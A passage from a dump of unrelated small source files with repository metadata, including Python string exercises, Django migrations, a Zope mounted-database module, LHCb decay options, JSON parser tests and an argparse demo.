print(timeit.Timer(lambda: main()).repeat(1, 1))
| [
"belli.1797941@studenti.uniroma1.it"
] | belli.1797941@studenti.uniroma1.it |
1d14a6463b2ceaf9f8bc13e5d1c1c6450675751c | 49b048b05330fcc7ebd1ea6d3b619085af46b433 | /exe01.py | 751128bf3dd018f9c1442b0a37477fe9a947ef8a | [] | no_license | andreplacet/reinforcement-tasks-python-strings | a26e2c8544a2dbb161ffd27c4f806398c2096b8f | 1ee8f16bbc97bca138feb41992205674a4e07a57 | refs/heads/master | 2023-01-08T23:09:40.872807 | 2020-11-06T17:54:51 | 2020-11-06T17:54:51 | 310,668,589 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 525 | py | # Exercicio 01
print('Comparador de strings')
string_1 = str(input('Digite uma frase: ')).strip().split()
print(f'String 1: {string_1}')
string_1 = ''.join(string_1)
string_2 = str(input('Digite uma frase: ')).strip().split()
print(f'String 2: {string_2 = }')
string_2 = ''.join(string_2)
print(f'Tamanho da String 1 :{len(string_1)}\n'
f'Tamanho da String 2: {len(string_2)}')
if string_1 == string_2:
print('As strings possuem o mesmo conteudo!')
else:
print('As strings não possuem o mesmo conteudo!')
| [
"andreplacet@gmail.com"
] | andreplacet@gmail.com |
71ef0ac38df7ff3711365479429d3a21f262af87 | 1b48b3980abbe11691310a7f35efef62bc0ae831 | /_msic/py/_fp/rxpy/test_rx.py | 7ae445bd4cd75655f4c4f14080afa7efe81709e5 | [] | no_license | FXTD-ODYSSEY/MayaScript | 7619b1ebbd664988a553167262c082cd01ab80d5 | 095d6587d6620469e0f1803d59a506682714da17 | refs/heads/master | 2022-11-05T08:37:16.417181 | 2022-10-31T11:50:26 | 2022-10-31T11:50:26 | 224,664,871 | 45 | 11 | null | null | null | null | UTF-8 | Python | false | false | 299 | py | from rx import Observable
from random import randint
three_emissions = Observable.range(1, 3)
(
three_emissions.map(lambda i: randint(1, 100000))
.subscribe(lambda i: print("Subscriber 1 Received: {0}".format(i)))
.subscribe(lambda i: print("Subscriber 2 Received: {0}".format(i)))
)
| [
"timmyliang@tencent.com"
] | timmyliang@tencent.com |
3b9dd450c58558231ef96e8c726dcd9fbc794684 | 9d3fb5e27f4d98c5ea97878a1e1d53f8cf01fdbf | /vehicle/util/schema.py | 90e5f14badbba94e192d6d4796f8f0b29111a0c1 | [] | no_license | mhsueh2/sample_api | bb4e6e2e8b6222cae1e72fad5e019498919bb819 | f970712ef57adc73e5d859bb8158e93ee6bd4497 | refs/heads/master | 2020-06-27T07:10:17.524825 | 2019-07-31T15:20:51 | 2019-07-31T15:20:51 | 199,880,581 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 328 | py | from voluptuous import Schema, All, Range, Coerce, Required
class Schema:
vehicle_id = Schema({
Required('vehicle_id'): All(Coerce(int), Range(min=1))
})
booking = Schema({
Required('vehicle_id'): All(Coerce(int), Range(min=1)),
Required('user_id'): All(Coerce(int), Range(min=1))
})
| [
"mhsueh2@gmail.com"
] | mhsueh2@gmail.com |
f3e20417ec83107e1acc57c6066a12fe09ef2676 | 01df649dc7068c91be60b5d275b60f21e6f7d634 | /server.py | f044c21849945ca9eed277290f3ef40322739b32 | [] | no_license | bernard-david/login_registration | 2252e50d207da45dadbba3360560a5f05f7370dc | 884977ecd4e55b44cc449d89760dc4c258ed05d1 | refs/heads/master | 2023-06-06T01:35:32.807537 | 2021-06-22T19:30:45 | 2021-06-22T19:30:45 | 378,289,926 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 118 | py | from flask_app import app
from flask_app.controllers import users
if __name__=="__main__":
app.run(debug=True) | [
"dpbernard18@gmail.com"
] | dpbernard18@gmail.com |
4ed8aacb5d5e8e915a445cc8c33ffb7f42a8ec4c | be0f3dfbaa2fa3d8bbe59229aef3212d032e7dd1 | /Gauss_v45r8/Gen/DecFiles/options/11134020.py | d61de03b13fd229fd8d73ea102ddc4195d7175b6 | [] | no_license | Sally27/backup_cmtuser_full | 34782102ed23c6335c48650a6eaa901137355d00 | 8924bebb935b96d438ce85b384cfc132d9af90f6 | refs/heads/master | 2020-05-21T09:27:04.370765 | 2018-12-12T14:41:07 | 2018-12-12T14:41:07 | 185,989,173 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 947 | py | # file /home/hep/ss4314/cmtuser/Gauss_v45r8/Gen/DecFiles/options/11134020.py generated: Fri, 27 Mar 2015 15:47:57
#
# Event Type: 11134020
#
# ASCII decay Descriptor: {[[B0]nos -> (J/psi(1S) -> p+ p~-) (rho(770)0 -> pi+ pi-)]cc, [[B0]os -> (J/psi(1S) -> p+ p~-) (rho(770)0 -> pi- pi+)]cc}
#
from Configurables import Generation
Generation().EventType = 11134020
Generation().SampleGenerationTool = "SignalRepeatedHadronization"
from Configurables import SignalRepeatedHadronization
Generation().addTool( SignalRepeatedHadronization )
Generation().SignalRepeatedHadronization.ProductionTool = "PythiaProduction"
from Configurables import ToolSvc
from Configurables import EvtGenDecay
ToolSvc().addTool( EvtGenDecay )
ToolSvc().EvtGenDecay.UserDecayFile = "$DECFILESROOT/dkfiles/Bd_Jpsirho0,pp=DecProdCut.dec"
Generation().SignalRepeatedHadronization.CutTool = "DaughtersInLHCb"
Generation().SignalRepeatedHadronization.SignalPIDList = [ 511,-511 ]
| [
"slavomirastefkova@b2pcx39016.desy.de"
] | slavomirastefkova@b2pcx39016.desy.de |
bdd0c6698fccacd6293e5026751984486fe11b4d | 0a7cf4842e4387541c0256f4b2c49e9d2e36d780 | /src/order/migrations/0016_auto_20200116_1414.py | faef2797dcfc86eba3024bc33a5e37945ed43b04 | [] | no_license | mehrab-nt/TeamGraphic | bb1f13055e54a51a85ff52e94425c538553bfd31 | dba5d86ec157f7e8c2f72e8cb077980055559aaf | refs/heads/master | 2020-12-01T17:08:20.336814 | 2020-01-21T14:10:03 | 2020-01-21T14:10:03 | 230,706,761 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,345 | py | # Generated by Django 3.0.1 on 2020-01-16 10:44
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('order', '0015_auto_20200116_1058'),
]
operations = [
migrations.AlterModelOptions(
name='cart',
options={'verbose_name': 'سبد خرید', 'verbose_name_plural': 'سبد خرید'},
),
migrations.AlterModelOptions(
name='cartaction',
options={'verbose_name': 'تغییرات سبد خرید', 'verbose_name_plural': 'تغییرات سبد خرید'},
),
migrations.AlterModelOptions(
name='order',
options={'verbose_name': 'سفارش', 'verbose_name_plural': 'سفارش'},
),
migrations.AlterModelOptions(
name='orderaction',
options={'verbose_name': 'تغییرات سفارش', 'verbose_name_plural': 'تغییرات سفارش'},
),
migrations.AlterModelOptions(
name='status',
options={'verbose_name': 'وضعیت های سفارش', 'verbose_name_plural': 'وضعیت های سفارش'},
),
migrations.AlterModelOptions(
name='uploadfile',
options={'verbose_name': 'فایل ها', 'verbose_name_plural': 'فایل ها'},
),
]
| [
"mehrab_nt@yahoo.com"
] | mehrab_nt@yahoo.com |
dc081a3bdcb41c1fec957a206f7cd2c2a8b97677 | 3f6c16ea158a8fb4318b8f069156f1c8d5cff576 | /.PyCharm2019.1/system/python_stubs/-1850396913/lxml/etree/_Comment.py | d1bc71dd97ac493d449fb08c86cc8fe73d2b8f6e | [] | no_license | sarthak-patidar/dotfiles | 08494170d2c0fedc0bbe719cc7c60263ce6fd095 | b62cd46f3491fd3f50c704f0255730af682d1f80 | refs/heads/master | 2020-06-28T23:42:17.236273 | 2019-10-01T13:56:27 | 2019-10-01T13:56:27 | 200,369,900 | 0 | 0 | null | 2019-08-03T12:56:33 | 2019-08-03T11:53:29 | Shell | UTF-8 | Python | false | false | 1,038 | py | # encoding: utf-8
# module lxml.etree
# from /var/www/newsbytes/CricketPlayerDataScrapper/venv/lib/python3.6/site-packages/lxml/etree.cpython-36m-x86_64-linux-gnu.so
# by generator 1.147
""" The ``lxml.etree`` module implements the extended ElementTree API for XML. """
# imports
import builtins as __builtins__ # <module 'builtins' (built-in)>
from .__ContentOnlyElement import __ContentOnlyElement
class _Comment(__ContentOnlyElement):
# no doc
def __init__(self, *args, **kwargs): # real signature unknown
pass
@staticmethod # known case of __new__
def __new__(*args, **kwargs): # real signature unknown
""" Create and return a new object. See help(type) for accurate signature. """
pass
def __repr__(self, *args, **kwargs): # real signature unknown
""" Return repr(self). """
pass
tag = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
__pyx_vtable__ = None # (!) real value is '<capsule object NULL at 0x7f578a4838d0>'
| [
"sarthakpatidar15@gmail.com"
] | sarthakpatidar15@gmail.com |
fc28e8962215eb1948964c9280e6b27ac215dd14 | 656590a98c1d086f16f7bbae8484a65e849f965f | /w5/Ch8e10.py | b7ce920e6b0ff7520d7e4ff118d90c3515826834 | [] | no_license | tmh327/learning_python | ed20469f106285e2b765e8eee5cc0206e3280089 | ab35e9edec810e76a002667498c13dff392d6a90 | refs/heads/master | 2020-04-21T22:25:52.260163 | 2019-05-10T18:11:22 | 2019-05-10T18:11:22 | 169,910,590 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 226 | py | #!/usr/bin/env python3
def is_palindrome(word):
if word[:] == word[::-1]:
return True
else:
return False
print(is_palindrome('noon'))
print(is_palindrome('redivider'))
print(is_palindrome('haha'))
| [
"tmh327@drexel.edu"
] | tmh327@drexel.edu |
a753e07e6d28f973304135b49936433f388cb925 | 5f300f54929f2acdb2ab3959006d152c775f1b58 | /src/Products/TemporaryFolder/mount.py | 7132798470fe9f57bc4701d01dd7f7e0595191c3 | [
"ZPL-2.1"
] | permissive | plone-ve/Products.TemporaryFolder | a26a40d88dc65ee4bb04d740162dd68f0a1db2c0 | 26bd1c00503594e17722c7337c69d543f28fd14b | refs/heads/master | 2020-05-25T18:35:24.224661 | 2019-05-08T14:57:12 | 2019-05-08T14:57:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,908 | py | ##############################################################################
#
# Copyright (c) 2001, 2002 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS
# FOR A PARTICULAR PURPOSE
#
##############################################################################
"""Mounted database support
"""
import time
import threading
import logging
import persistent
from Acquisition import Implicit
from Acquisition import ImplicitAcquisitionWrapper
from Acquisition import aq_base
from ZODB.POSException import StorageError
logger = logging.getLogger('ZODB.Mount')
# dbs is a holder for all DB objects, needed to overcome
# threading issues. It maps connection params to a DB object
# and a mapping of mount points.
dbs = {}
# dblock is locked every time dbs is accessed.
dblock = threading._allocate_lock()
class MountedStorageError(StorageError):
"""Unable to access mounted storage."""
def parentClassFactory(jar, module, name):
# Use the class factory from the parent database.
parent_conn = getattr(jar, '_mount_parent_jar', None)
parent_db = getattr(parent_conn, '_db', None)
if parent_db is None:
_globals = {}
_silly = ('__doc__',)
return getattr(__import__(
module, _globals, _globals, _silly), name)
else:
return parent_db.classFactory(parent_conn, module, name)
class MountPoint(persistent.Persistent, Implicit):
'''The base class for a Zope object which, when traversed,
accesses a different database.
'''
# Default values for non-persistent variables.
_v_db = None
_v_data = None
_v_connect_error = None
def __init__(self, path, params=None, classDefsFromRoot=None):
'''
@arg path The path within the mounted database from which
to derive the root.
@arg params The parameters used to connect to the database.
No particular format required.
If there is more than one mount point referring to a
database, MountPoint will detect the matching params
and use the existing database. Include the class name of
the storage. For example,
ZEO params might be "ZODB.ZEOClient localhost 1081".
'''
# The only reason we need a __mountpoint_id is to
# be sure we don't close a database prematurely when
# it is mounted more than once and one of the points
# is unmounted.
self.__mountpoint_id = '%s_%f' % (id(self), time.time())
if params is None:
# We still need something to use as a hash in
# the "dbs" dictionary.
params = self.__mountpoint_id
self._params = repr(params)
self._path = path
def _createDB(self):
'''Gets the database object, usually by creating a Storage object
and returning ZODB.DB(storage).
'''
raise NotImplementedError
def _getDB(self):
'''Creates or opens a DB object.
'''
newMount = 0
with dblock:
params = self._params
dbInfo = dbs.get(params, None)
if dbInfo is None:
logger.info('Opening database for mounting: %s', params)
db = self._createDB()
newMount = 1
dbs[params] = (db, {self.__mountpoint_id: 1})
else:
db, mounts = dbInfo
# Be sure this object is in the list of mount points.
if self.__mountpoint_id not in mounts:
newMount = 1
mounts[self.__mountpoint_id] = 1
self._v_db = db
return db, newMount
def _getMountpointId(self):
return self.__mountpoint_id
def _getMountParams(self):
return self._params
def __repr__(self):
return "%s(%s, %s)" % (self.__class__.__name__, repr(self._path),
self._params)
def _openMountableConnection(self, parent):
# Opens a new connection to the database.
db = self._v_db
if db is None:
self._v_close_db = 0
db, newMount = self._getDB()
else:
newMount = 0
jar = getattr(self, '_p_jar', None)
if jar is None:
# Get _p_jar from parent.
self._p_jar = jar = parent._p_jar
conn = db.open()
# Add an attribute to the connection which
# makes it possible for us to find the primary
# database connection. See ClassFactoryForMount().
conn._mount_parent_jar = jar
mcc = MountedConnectionCloser(self, conn)
jar.onCloseCallback(mcc)
return conn, newMount, mcc
def _getObjectFromConnection(self, conn):
obj = self._getMountRoot(conn.root())
data = aq_base(obj)
# Store the data object in a tuple to hide from acquisition.
self._v_data = (data,)
return data
def _getOrOpenObject(self, parent):
t = self._v_data
if t is None:
self._v_connect_error = None
conn = None
newMount = 0
mcc = None
try:
conn, newMount, mcc = self._openMountableConnection(parent)
data = self._getObjectFromConnection(conn)
except Exception:
# Possibly broken database.
if mcc is not None:
# Note that the next line may be a little rash--
# if, for example, a working database throws an
# exception rather than wait for a new connection,
# this will likely cause the database to be closed
# prematurely. Perhaps DB.py needs a
# countActiveConnections() method.
mcc.setCloseDb()
logger.warning('Failed to mount database. %s (%s)',
exc_info=True)
raise
if newMount:
try:
id = data.getId()
except Exception:
id = '???' # data has no getId() method. Bad.
p = '/'.join(parent.getPhysicalPath() + (id,))
logger.info('Mounted database %s at %s',
self._getMountParams(), p)
else:
data = t[0]
return data.__of__(parent)
def __of__(self, parent):
# Accesses the database, returning an acquisition
# wrapper around the connected object rather than around self.
try:
return self._getOrOpenObject(parent)
except Exception:
return ImplicitAcquisitionWrapper(self, parent)
def _test(self, parent):
'''Tests the database connection.
'''
self._getOrOpenObject(parent)
return 1
def _getMountRoot(self, root):
'''Gets the object to be mounted.
Can be overridden to provide different behavior.
'''
try:
app = root['Application']
except Exception:
raise MountedStorageError(
"No 'Application' object exists in the mountable database.")
try:
return app.unrestrictedTraverse(self._path)
except Exception:
raise MountedStorageError(
"The path '%s' was not found in the mountable database."
% self._path)
class MountedConnectionCloser(object):
'''Closes the connection used by the mounted database
while performing other cleanup.
'''
close_db = 0
def __init__(self, mountpoint, conn):
# conn is the child connection.
self.mp = mountpoint
self.conn = conn
def setCloseDb(self):
self.close_db = 1
def __call__(self):
# The onCloseCallback handler.
# Closes a single connection to the database
# and possibly the database itself.
conn = self.conn
close_db = 0
if conn is not None:
mp = self.mp
# Remove potential circular references.
self.conn = None
self.mp = None
# Detect whether we should close the database.
close_db = self.close_db
t = mp.__dict__.get('_v_data', None)
if t is not None:
del mp.__dict__['_v_data']
data = t[0]
if not close_db and data.__dict__.get(
'_v__object_deleted__', 0):
# This mount point has been deleted.
del data.__dict__['_v__object_deleted__']
close_db = 1
# Close the child connection.
try:
del conn._mount_parent_jar
except Exception:
pass
conn.close()
if close_db:
# Stop using this database. Close it if no other
# MountPoint is using it.
with dblock:
params = mp._getMountParams()
mp._v_db = None
if params in dbs:
dbInfo = dbs[params]
db, mounts = dbInfo
try:
del mounts[mp._getMountpointId()]
except Exception:
pass
if len(mounts) < 1:
# No more mount points are using this database.
del dbs[params]
db.close()
logger.info('Closed database: %s', params)
| [
"hanno@hannosch.eu"
] | hanno@hannosch.eu |
84f566651ccbc2f88d67c30cfbb05c6b820cb111 | 85c260a899cf5d9e5d50ddfe0c5ad94cb1962178 | /e1-lista/triangulos.py | 355b52a218507047ed492b2c28aa5aae61ca6354 | [] | no_license | anniasebold/prog1-ufms | 4dc4c98604b3f31083a85c808977f0c32b27b7a9 | 391adc21da6f9f0f0260225ab7f34a162a52e70c | refs/heads/main | 2023-06-18T13:21:34.304666 | 2021-07-05T15:30:16 | 2021-07-05T15:30:16 | 356,414,610 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 839 | py | a, b, c = input().split()
a = float(a)
b = float(b)
c = float(c)
meio = 0
if a > b:
if b > c:
a = a
b = b
c = c
elif a > c:
a = a
meio = b
b = c
c = meio
else:
meio = a
a = c
c = b
b = meio
elif b > c:
if a > c:
meio = a
a = b
b = meio
else:
meio = a
a = b
b = c
c = meio
else:
meio = a
a = c
c = meio
if a >= b + c:
print("NAO FORMA TRIANGULO")
elif a**2 == (b ** 2) + (c ** 2):
print("TRIANGULO RETANGULO")
else:
if a**2 > (b ** 2) + (c ** 2):
print("TRIANGULO OBTUSANGULO")
elif a**2 < (b ** 2) + (c ** 2):
print("TRIANGULO ACUTANGULO")
if a**2 == (b ** 2) + (c ** 2):
print("TRIANGULO RETANGULO")
elif a == b == c:
print("TRIANGULO EQUILATERO")
elif a == b or b == c or a == c:
print("TRIANGULO ISOSCELES")
| [
"anniasebold3.0@gmail.com"
] | anniasebold3.0@gmail.com |
2f7af88afa5cca1b29507b3b2c6908608c582183 | caaa87102b710e1973f4a434d1ecf2c80a972395 | /newsletter/migrations/0002_auto_20151115_1402.py | 02edde8a5c0e3b8e32ecaffd2989e1809e3b32ed | [] | no_license | SKNIRBHAY/TechWise-1 | e0df8868af17133a32da8e2341fa30aa0349af10 | 027895cb91aada1d8eecc1ddbb79e41fa66cdc75 | refs/heads/master | 2020-05-24T21:22:31.458963 | 2017-03-14T02:11:05 | 2017-03-14T02:11:05 | 84,881,955 | 1 | 0 | null | 2017-03-13T22:48:51 | 2017-03-13T22:48:51 | null | UTF-8 | Python | false | false | 350 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('newsletter', '0001_initial'),
]
operations = [
migrations.RenameModel(
old_name='Newsletter',
new_name='SignUp',
),
]
| [
"sangitdhanani@gmail.com"
] | sangitdhanani@gmail.com |
f726e7feb9caf10f0cc95c9830827b92f818cf2f | 7fbbbf06526002ced9530c4dbd146d9d0ca680a2 | /core/urls.py | f95bea7791f2e47b5ce096d1210e133926082570 | [
"MIT"
] | permissive | zwernberg/polls | f8b9262bca5f6828e1cf4648814306c9d61feb6b | 529087174c8d28d6f10d913de3e0d8f113576c74 | refs/heads/master | 2020-07-03T09:00:05.712009 | 2016-12-06T04:00:14 | 2016-12-06T04:00:14 | 74,185,183 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,096 | py | """polls URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url, include
from django.contrib import admin
from rest_framework.routers import DefaultRouter
from polls import views
router = DefaultRouter()
router.register(r'polls', views.QuestionViewset)
router.register(r'choices', views.ChoiceViewset)
urlpatterns = [
url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),
url(r'^admin/', admin.site.urls),
url(r'^api/', include(router.urls)),
]
| [
"zawerny@gmail.com"
] | zawerny@gmail.com |
ea2e5ce585d31cc249c0c042569d14ec34135014 | d00fb82a5d589880c2d20c778e4b56c5b11e83d1 | /dcekit/optimization/iot.py | 8157ea211d230e3827aceb889b8a6ab2a8de1f18 | [
"MIT"
] | permissive | shinyama74/dcekit | e798c0ce417234753842a45289bdfbfe1238ed17 | f1393fa11532e9dd361dd320d8870732660f8446 | refs/heads/master | 2023-03-03T07:42:37.177853 | 2021-02-13T21:02:49 | 2021-02-13T21:02:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,116 | py | # -*- coding: utf-8 -*-
"""
@author: Hiromasa Kaneko
"""
import numpy as np
from scipy.optimize import minimize, LinearConstraint
def iot_obj_func(mol_fracs, x_mix, x_pure):
"""
Objective function of Iterative Optimization Technology (IOT)
Parameters
----------
x_mix : numpy.array or pandas.DataFrame
vector (size m) of mixture speatra
m is the number of wavelength or wavenumber
x_pure : numpy.array or pandas.DataFrame
n x m matrix of raw spectra
n is the number of raw materials
Returns
-------
sum of squre of redisuals : float
"""
x_mix = np.array(x_mix)
x_pure = np.array(x_pure)
calc_x_mix = np.dot(mol_fracs.reshape([1, len(mol_fracs)]), x_pure)
return ((x_mix - calc_x_mix) ** 2).sum()
def iot(x_mix, x_pure):
"""
Iterative Optimization Technology (IOT)
Parameters
----------
x_mix : numpy.array or pandas.DataFrame
k x m matrix of mixture speatra
k is the number of mixtures
m is the number of wavelength or wavenumber
x_pure : numpy.array or pandas.DataFrame
n x m matrix of raw spectra
n is the number of raw materials
Returns
-------
pred_mol_fracs : numpy.array
k x n matrix of raw spectra
"""
x_mix = np.array(x_mix)
x_pure = np.array(x_pure)
number_of_pure_materials = x_pure.shape[0]
pred_mol_fracs = np.zeros([x_mix.shape[0], number_of_pure_materials])
bounds = []
for i in range(number_of_pure_materials):
bounds.append([0, 1])
init_mol_fracs = np.zeros(number_of_pure_materials)
for i in range(x_mix.shape[0]):
pred_results = minimize(iot_obj_func,
x0=init_mol_fracs,
args=(x_mix, x_pure),
bounds=bounds,
constraints=LinearConstraint(np.ones(number_of_pure_materials), 1, 1),
method='SLSQP')
pred_mol_fracs[i, :] = pred_results.x.copy()
return pred_mol_fracs
| [
"hkaneko@meiji.ac.jp"
] | hkaneko@meiji.ac.jp |
2e1248ddd66dcbcd30e5183f86ce76ddf2f39fed | cc66665ed3abde76c684a15eafa50733301c416b | /基础/12_return_func.py | 24fb4c8e163c3b143f0cf01c11e547b6a66a87c1 | [] | no_license | gitchenhe/PythonStudy | 7c62ebab72f6ea5c90db4ec3a9e55ae41178582f | 2c72a796e41884bd36594dd24941fd373e4ad0cf | refs/heads/master | 2021-04-03T05:09:55.732741 | 2018-03-17T14:20:09 | 2018-03-17T14:20:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,779 | py | # 参数求和,通常情况下函数是这样定义的
def calc_sum(*args):
ax = 0
for x in args:
ax = ax + x
return ax
# 但是,如果不需要立即求和,而是在后面的代码中,根据需要再计算怎么办?可以不返回求和的结果,而是返回求和的函数
def lazy_sum(*args):
def sum():
ax = 0
for x in args:
ax = ax + x
return ax
return sum
print("普通求和", calc_sum(1, 2, 3, 4, 5))
print("函数求和", calc_sum(1, 2, 3, 4, 5))
# 闭包
# 每次for循环都会创建一个函数
def count():
fs = [] # 所有函数的集合
for i in range(1, 4):
def f():
return i * i
fs.append(f)
return fs
# f1,f2,f3都指向一个函数
print('--------------- 闭包引用了循环变量,期望值1,4,9 ---------------')
f1, f2, f3 = count()
print('f1()=', f1())
print('f2()=', f2())
print('f3()=', f3())
# 返回结果都是9,原因就是返回的函数变量引用i,但它并非立刻执行,等3个函数都返回时,他们引用的变量都编程了4,因此最终结果是9
# 返回闭包时,请牢记一点:返回函数不要引用任何循环变量,或最后都会发生变化的变量
# 如果一定要引用循环变量怎么办,就是再创建一个函数,用该函数的参数绑定循环变量的当前值,无论循环变量后续如何改变,已经绑定到函数参数的值不变
def count2():
fs = []
for i in range(1, 4):
def f(j):
def g():
return j * j
return g;
fs.append(f(i))
return fs
f1, f2, f3 = count2()
print('--------------- 未直接使用循环变量,期望值1,4,9 ---------------')
print('f1()=', f1())
print('f2()=', f2())
print('f3()=', f3())
| [
"he.chen@lanmaoly.com"
] | he.chen@lanmaoly.com |
af47b8607981e7db97d30f4a6e9ad2dff26f99f0 | b8d80a23cb27af08a1c4d34b478c76228ae5fbb4 | /insights/parsr/examples/tests/test_json.py | 909b97d73ee25c2114382bb8aeaeaf7b2647beb3 | [
"Apache-2.0"
] | permissive | RedHatInsights/insights-core | bb243e2bf8a52446fefb95ebe05478d6e35efe2e | b0ea07fc3f4dd8801b505fe70e9b36e628152c4a | refs/heads/master | 2023-09-04T21:15:40.456257 | 2023-09-04T10:46:56 | 2023-09-04T10:46:56 | 92,518,221 | 144 | 290 | Apache-2.0 | 2023-09-14T02:40:13 | 2017-05-26T14:23:11 | Python | UTF-8 | Python | false | false | 2,956 | py | import json
from insights.parsr.examples.json_parser import (TRUE, FALSE, NULL, JsonArray,
JsonObject, JsonValue)
DATA0 = """
{
"name": "Adventure Lookup"
}
""".strip()
DATA1 = """
{
"name": "Adventure Lookup",
"icons": [
{
"src": "/android-chrome-192x192.png",
"sizes": "192x192",
"type": "image/png"
},
{
"src": "/android-chrome-512x512.png",
"sizes": "512x512",
"type": "image/png"
}
],
"theme_color": "#ffffff",
"background_color": "#ffffff",
"display": "standalone"
}
""".strip()
DATA2 = """
{
"meta": {
"version": "0.6.0"
},
"GROUPS": {
"c-development": {
"grp_types": 0,
"ui_name": "C Development Tools and Libraries",
"name": "C Development Tools and Libraries",
"full_list": [
"valgrind",
"automake",
"indent",
"autoconf",
"ltrace",
"bison",
"ccache",
"gdb",
"strace",
"elfutils",
"byacc",
"oprofile",
"gcc-c++",
"pkgconfig",
"binutils",
"gcc",
"libtool",
"cscope",
"ctags",
"flex",
"glibc-devel",
"make"
],
"pkg_exclude": [],
"pkg_types": 6
}
},
"ENVIRONMENTS": {}
}""".strip()
def test_true():
assert TRUE("true") is True
def test_false():
assert FALSE("false") is False
def test_null():
assert NULL("null") is None
def test_json_value_number():
assert JsonValue("123") == 123
def test_json_value_string():
assert JsonValue('"key"') == "key"
def test_json_empty_array():
assert JsonArray("[]") == []
def test_json_single_element_array():
assert JsonArray("['key']") == ["key"]
def test_json_multi_element_array():
assert JsonArray("[1, 2, 3]") == [1, 2, 3]
assert JsonArray("['key', -3.4, 'thing']") == ["key", -3.4, "thing"]
def test_json_nested_array():
assert JsonArray("[1, [4, 5], 3]") == [1, [4, 5], 3]
assert JsonArray("['key', [-3.4], 'thing']") == ["key", [-3.4], "thing"]
def test_json_empty_object():
assert JsonObject("{}") == {}
def test_json_single_object():
assert JsonObject('{"key": "value"}') == {"key": "value"}
def test_json_multi_object():
expected = {"key1": "value1", "key2": 15}
assert JsonObject('{"key1": "value1", "key2": 15}') == expected
def test_json_nested_object():
text = '{ "key1": ["value1", "value2"], "key2": {"num": 15, "num2": 17 }}'
expected = {"key1": ["value1", "value2"], "key2": {"num": 15, "num2": 17}}
assert JsonObject(text) == expected
def test_data0():
expected = json.loads(DATA0)
assert JsonValue(DATA0) == expected
def test_data1():
expected = json.loads(DATA1)
assert JsonValue(DATA1) == expected
def test_data2():
expected = json.loads(DATA2)
assert JsonValue(DATA2) == expected
| [
"bfahr@redhat.com"
] | bfahr@redhat.com |
ecc6dff2ab0682187eb3eed3a628b4b5e2100a2a | 79e89d58e8a58110bb63377bd28be1317abea2ac | /faro_api/models/question.py | e3060725b1ae7e858f26decb4b46fe29c37b8312 | [] | no_license | Wakemakin/faro-api | 8ab6798c9ea478455fbfce73a867b05e08270e12 | fcdd6a55247a7508982e293a71075a74ca5df5bc | refs/heads/master | 2021-01-19T05:25:50.860912 | 2013-09-03T02:15:26 | 2013-09-03T02:15:26 | 10,831,896 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 692 | py | import sqlalchemy as sa
import faro_api.models.item as item
import faro_common.utils as utils
class Question(item.Item):
id = sa.Column(sa.Unicode(36), sa.ForeignKey('items.id'),
primary_key=True)
__mapper_args__ = {
'polymorphic_identity': 'question',
}
def __init__(self, **kwargs):
super(Question, self).__init__(**kwargs)
self.id = unicode(utils.make_uuid())
@staticmethod
def query_columns():
return item.Item.query_columns()
def read_only_columns(self):
return super(Question, self).read_only_columns()
def to_dict(self, with_owner=False):
return super(Question, self).to_dict()
| [
"justin.hammond@rackspace.com"
] | justin.hammond@rackspace.com |
bde24f32962bc7daa1d653fc2bfc6b034f25a563 | 4f972877da14226125440b3da9bdb058764d8a54 | /pythonDemo/argparseOpt/add_arg.py | e43e60028c712b282fd0fa4373dee4ad04ff9d48 | [] | no_license | ZhiYinZhang/study | 16c29990cb371e7e278c437aa0abc7c348614063 | 8c085310b4f65e36f2d84d0acda4ca257b7389af | refs/heads/master | 2021-07-09T16:05:02.925343 | 2020-06-30T07:53:05 | 2020-06-30T07:53:05 | 153,767,096 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,403 | py | #!/usr/bin/env python3
# -*- coding:utf-8 -*-
# datetime:2020/5/18 14:51
import argparse
if __name__=="__main__":
parser=argparse.ArgumentParser(description="在参数帮助文档之前显示的文本")
#参数需要使用--b或-b
parser.add_argument("--by","-b", #参数变量，‘-’表示缩写
action="store", #将命令行参数与action相关联，默认store:存储参数的值
type=str, #可以指定数据类型
help="b help", #帮助信息
const="1111", #给了-b/--b，但是-b后面没接参数值时，默认的值
default="2222", #没给-b/--b时，默认值，结合nargs使用
nargs="?", #"?"表示消耗一个参数，没有命令行参数，会使用default
required=False, #该参数是否可选，为True表示必须
dest="bb", #parse_args()返回的属性名，默认是和参数变量一样:by or b
metavar="3333", #参数示例
choices=["1111","2222","3333"] #参数范围
)
#按位置的参数，add_arg.py -b 1 2,a=2
parser.add_argument("a",type=int,help="a help",default=2)
# parser.print_help()
args=parser.parse_args()
print(args) | [
